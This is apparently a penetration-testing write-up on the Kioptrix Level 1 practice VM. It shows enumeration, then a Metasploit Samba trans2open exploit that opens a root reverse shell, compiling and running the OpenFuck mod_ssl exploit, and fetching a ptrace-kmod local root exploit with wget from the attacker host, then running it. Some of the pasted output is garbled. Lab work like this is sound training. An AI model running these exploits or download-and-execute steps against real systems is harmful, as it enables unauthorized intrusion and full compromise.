

# Penetration Testing Report

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#### 1.Introduction

Kioptrix Level 1 is a vulnerable virtual machine designed for practicing penetration testing and ethical hacking skills. It provides a realistic environment to test your security knowledge and techniques.

#### Overview

Kioptrix Level 1 simulates a basic Linux server that contains multiple vulnerabilities that can be exploited to gain unauthorized access. The goal is to identify these vulnerabilities and exploit them to escalate privileges and gain control over the system.

## 2. Objectives of the Pentesting Report

The primary objectives of this pentesting report are to document the methodology used to assess the security of Kioptrix Level 1, identify vulnerabilities, exploit those vulnerabilities, and demonstrate privilege escalation techniques.

### 3. Environment/ requirement:

1. VMware: VMware is required to run kioptrix and parrot.

2. Kioptrix and parrot: installed kioptrix and parrot from the below link

Kioptrix: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Parrot : <u>Parrot Security</u>
And configured in vm

3. Network: we configured the network of both parrot and kioptrix as NAT.

## 4. Methodology for Pentesting

## 4.1 Information Gathering

#### 4.1.1 Network Scanning

```
Currently scanning: Finished!
                                    Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
                At MAC Address
                                             Len MAC Vendor / Hostname
                                   Count
10.10.1.1
               00:50:56:c0:00:08
                                              60 VMware, Inc.
10.10.1.2
               00:50:56:f5:a5:f9
                                              60 VMware, Inc.
10.10.1.8
               00:0c:29:99:c9:bc
                                              60 VMware, Inc.
                                              60 VMware, Inc.
10.10.1.254
                00:50:56:ea:e0:b0
 [x]-[attacker@Swagat]-[~]
```

### 4.1.2 Tools and Techniques Used

Various tools and techniques such as Nmap for network scanning, Metasploit for exploitation, Nikto for web server scanning, and manual enumeration will be utilized during the pentest to uncover vulnerabilities and weaknesses in the system.

# 5. Findings:

## 5.1 Information Gathering

#### **5.1.1 Network Scanning**

Performed an Nmap scan to identify open ports and services:

#### **Open Ports Identified:**

Port 22: SSH

Port 80: HTTP

• Port 111: RPC

• Port 139: Samba

Port 443: SSL

#### 5.1.2 Service Enumeration

- **HTTP** (**Port 80**): The web server is running Apache 2.0.52.
- **smb** (**Port 139**): Running samba

## 5.2 Vulnerability Assessment

5.2.1 Web Application Analysis

Used Nikto to scan the web server for vulnerabilities:

#### 5.2.2 Service Vulnerability Analysis

#### Checked for known exploits in Searchsploit

## 5.3 Exploitation

#### 5.3.1 Gaining Initial Access using Metasploit for samba

```
fffffffff.......
ode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Matching Modules
  0 auxiliary/scanner/smb/smb version
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
  RPORT
THREADS 1
 ayload options (generic/shell reverse tcp):
View the full module info with the info, or info -d command.
```

```
View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(linux/samba/trans2open) >> run

[*] Started reverse TCP handler on 10.10.1.13:4444

[*] 10.10.1.8:139 · Trying return address 0xbffffdfc...

[*] 10.10.1.8:139 · Trying return address 0xbffffffcc...

[*] 10.10.1.8:139 · Trying return address 0xbffffbfc...

[*] 10.10.1.8:139 · 10.10.1.8 Stream #<Socket:0x000007f15504b2988 is closed.

[*] Command shell session 1 opened (10.10.1.13:4444 -> 10.10.1.8:1025) at 2024-07-03 18:17:51 +0545

[*] Command shell session 2 opened (10.10.1.13:4444 -> 10.10.1.8:1025) at 2024-07-03 18:17:52 +0545

[*] Command shell session 3 opened (10.10.1.13:4444 -> 10.10.1.8:1026) at 2024-07-03 18:17:55 +0545

whoami
root

1d

uid=0(root) gid=0(root) groups=99(nobody)

id -un
root
Sudo passwd root
New password: root
BAD PASSWORD: it is too short
Retype new password: donaayodon
Sorry, passwords do not match
New password: xit
BAD PASSWORD: it is too short
Retype new password: ^C
Abort session 17 [y/N] n

[*] Aborting foreground process in the shell session
Sorry, passwords do not match
New password: AD APSSWORD: it's WAY too short
Retype new password: ^C
Abort session 17 [y/N] v
```

#### 5.3.2 Gaining Initial Access of Apache 2.8.7



Found Apache 2.8.7 as "OpenFuck" in exploit database

```
#searchsploit openfuck Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation

Exploit Title | Path |

Apache mod ssl < 2.8.7 OpenSSL - 'OpenFuck/CERemote Buffer Overflow Or: Type: Platform: Date: | unix/remote/21671.c |
Apache mod ssl < 2.8.7 OpenSSL - 'OpenFuck/CERemote Buffer Overflow (1) | unix/remote/764.c |
Apache mod ssl < 2.8.7 OpenSSL - 'OpenFuck/CERemote Buffer Overflow (2) | unix/remote/47880.c
```

Search OpenFuck in searchsploit and got exploits.

```
#cp /usr/share/exploitdb/exploits/unix/remote/47080.c .
  [root@Swagat]-[/home/attacker/Desktop]
    #ls
                                                                          'CEHv12 Module 14 Hacking Web Applications'
                                                                                                                                                   README.license
764.com CEHv12 Module 13 Hacking Web Servers' 'CEHv12 Module 16 Hacking Wireless Networks.'
- [root@Swagat] - [/home/attacker/Desktop]
- #gcc -o OpenFuck 47080.c -lcrypto
17080.c: In function 'read_ssl_packet':
17080.c:534:3: warning: 'RC4' is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
47080.c bWAPPv2.2 'CEHv12 Module 14 Hacking Web Applications' 764.c 'CEHv12 Module 16 Hacking Wireless Networks.'
                                                                                                                                   OpenFuck
                                                                                                                                   README.license
  -[root@Swagat]-[/home/attacker/Desktop]
-- #./OpenFuck
 **HACKarena irc.brasnet.org

TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
#ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
  target - supported box eq: 0x00
 box -- hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)
         0x00 - Caldera OpenLinux (apache-1.3.26)
0x01 - Cobalt Sun 6.0 (apache-1.3.12)
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
```

While running./OpenFuck got this thigs:

```
RedHat Linux 7.1 (apache-1.3.19-5)1
RedHat Linux 7.1 (apache-1.3.19-5)2
RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
RedHat Linux 7.1-Update (1.3.22-5.7.1)
RedHat Linux 7.1 (apache-1.3.22-src)
RedHat Linux 7.1-Update (1.3.27-1.7.1)
RedHat Linux 7.2 (apache-1.3.20-16)1
                            0x65
                            0x66
                           0x68 -
                          0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
0x6d - RedHat Linux 7.2 (apache-1.3.24)
0x6e - RedHat Linux 7.2 (apache-1.3.26)
0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
0x75 - RedHat Linux 8.0 (apache-1.3.27)
0x77 - RedHat Linux 8.0 (apache-1.3.27)
                          0x76 - RedHat Linux 8.0 (apache-1.3.27)
0x77 - RedHat Linux 8.0-second (apache-1.3.27)
0x78 - RedHat Linux 8.0 (apache-2.0.40)
0x79 - Slackware Linux 4.0 (apache-1.3.6)
0x7a - Slackware Linux 7.0 (apache-1.3.9)
0x7b - Slackware Linux 7.0 (apache-1.3.26)
0x7c - Slackware Linux 7.1 (apache-1.3.12)
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x7f - Slackware Linux 8.1 (apache-1.3.24)
                           0x7f - Slackware Linux 8.1 (apache-1.3.24)
0x80 - Slackware Linux 8.1 (apache-1.3.26)
0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
                                                     Slackware Linux (apache-1.3.27)
           J-[root@Swagat]-[/home/attac
#./OpenFuck 0x6b 10.10.1.8
    by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
#hackarena irc.brasnet.org *
TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
    Establishing SSL connection
Lipher: 0x4043808c ciphers: 0x80fa068
Ready to send shellcode
Epawning shell...
Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files OpenFuck
```

Runed. /OpenFuck 0x6b with kipoyrix ip and got this result.

```
bash-2.05$
bash-2.05$ wget 10.10.1.13/3.c
wget 10.10.1.13/3.c
Connecting to 10.10.1.13:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,948 [text/x-csrc]
                                                                     100% a
                                                                               3.77 MB/s
09:10:46 (3.77 MB/s) result3 to saved [3948/3948]
bash-2.05$ ls
ls
3.c
bash-2.05$ gcc -o lp 3.c
bash-2.05$ gcc -o lp 3.c -lcrypto
gcc -o lp 3.c -lcrypto/APPv2.2
3.c:185:27: warning: no newline at end of file
bash-2.05$ ls
bash-2.05$ ./lp
./lp
[+] Attached to 2838
[+] Signal caught
    Shellcode placed at 0x4001189d
```

Used wget command to download the exploit and execute it and got the root access.

```
bash-2.05$ %/lp
./lp
[+] Attached to 2838
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now_wait for suid shell...
id Hacking Web
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

# Reference

<u>Sample-Penetration-Test-Report-PurpleSec[1].pdf</u>

https://www.exploit-db.com/exploits/3

https://www.exploit-db.com/exploits/764

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835

Kioptrix (notion.site)

Hacking Kioptrix Level 1 Write-up | by Cybertech Maven | Medium